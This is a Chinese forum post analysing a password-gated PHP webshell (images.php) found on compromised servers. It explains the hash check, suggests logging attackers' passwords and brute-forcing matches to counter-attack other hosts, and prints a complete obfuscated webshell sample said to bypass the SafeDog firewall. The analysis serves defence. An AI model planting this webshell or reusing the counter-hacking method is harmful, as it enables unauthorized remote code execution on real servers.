搜索
    Hi~登录注册
    查看: 108|回复: 0
    收起左侧

    对某攻击队的Webshell进行分析

    [复制链接]

    35

    主题

    0

    精华

    18 小时

    在线时间

    新手上路

    Rank: 1

    积分
    28
    发表于 2019-8-28 08:04:47 | 显示全部楼层 |阅读模式
    对我⽅已拿下的攻击方⾁鸡进⾏⽇志、⽂件等分析,

    发现⼤部分肉鸡的网站根目录都存在 images.php,提取该文件的内容并分析:

    image020.png

    提出较为重要的那一段base64decode后的PHP代码进行分析:

    [PHP] 纯文本查看 复制代码
    @session_start();//开启session
    
    if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));

    代码逻辑:判断POST请求参数code是否有值,当满足条件时则执行substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'],
    这段代码的意思为将POST请求参数a的值进行md5加密再进行sha1加密,
    最后从加密后的字符串的第36位开始取值(sha1加密后的值为40位,这里也就是取后4位),
    当后四位等于222f的时候条件为真则执行$_SESSION['theCode']=$_POST['code']
    (Why?&&是逻辑与操作,如果&&的前面为false了,后面的就不会执行了,所以在这里也就间接的形成了一种判断从而必须满足后四位等于222f的条件),
    最后进入该代码执行:if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));,
    代码如此简单就不再重复描述~
    为了满足条件(substr(sha1(md5($_POST['a'])),36)=='222f'),
    我们可以采用钓鱼的方式等攻击方人员主动上钩(修改images.php即可):
    image021.png

    当攻击方人员主动连接该Webshell时会将POST请求参数a的值写入到pass.txt中。
    但此方法较为被动,我们还可以在本地搭建一个环境搭配Burp去爆破获取后四位为222f的明文:

    image022.png
    image023.png
    获得了:abc123000、lipeng520、160376这三个密码,可利用密码对其他的肉鸡再次进行反打。
    代码样本:(测试可过安全狗)
    [PHP] 纯文本查看 复制代码
    <?php
    
    $CF='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';
    
    [email protected]$CF('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');
    
    $EB('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7');
    
    ?>





    上一篇:对违规成员 scofield-daniel 的处理公示
    下一篇:[转]FOFA沙龙PPT分享
    回复

    使用道具 举报

    游客
    回复
    您需要登录后才可以回帖 登录 | 获取账号

    快速回复 返回顶部 返回列表